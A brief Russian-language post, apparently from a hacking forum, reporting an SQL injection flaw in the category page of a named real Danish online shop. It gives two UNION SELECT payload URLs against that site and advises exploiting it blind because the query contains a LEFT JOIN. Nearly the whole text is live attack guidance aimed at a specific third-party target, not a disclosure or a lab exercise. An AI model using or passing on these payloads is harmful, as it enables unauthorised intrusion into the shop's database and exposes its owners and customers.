Там есть иньекция, но перебирать придется вслепую, так как там сложный запрос с left join, фильтр там /*

http://www.viper-shop.dk/category.php?id=180%27+union+select+1/*

потому что если подставить

http://www.viper-shop.dk/category.php?id=180%27+union+select+1--

то совсем другой рез-т. Т.е. с этой ссылкой надо поработать как с Blind SQL-inj